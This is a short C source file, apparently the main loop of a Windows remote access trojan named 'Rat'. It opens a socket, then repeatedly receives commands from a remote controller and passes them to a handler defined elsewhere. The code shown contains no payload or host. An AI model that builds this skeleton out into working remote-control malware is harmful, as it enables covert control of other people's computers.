Rat/main.c
2025-09-23 21:57:00 +02:00

41 lines
749 B
C

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include "winsock2.h"
#include "windows.h"
#include "include/networking.h"
#include "include/commandhandler.h"
int main(int argc, char* argv[]){
SOCKET s;
WSADATA wsa;
uint8_t receivebuffer[4096];
uint8_t sendbuffer[4096];
printf("Starting... \n");
printf("Initializing socket... \n");
InitSocket(&wsa, &s);
printf("Socket initialized \n");
// Ciclo principale
while(1){
receiveCommand(&wsa, &s, receivebuffer);
if(receivebuffer[0] != 0){
printf("%s\n", receivebuffer);
// Parsing comando
handleCommand(&wsa, &s, receivebuffer);
}
Sleep(200);
}
return 0;
}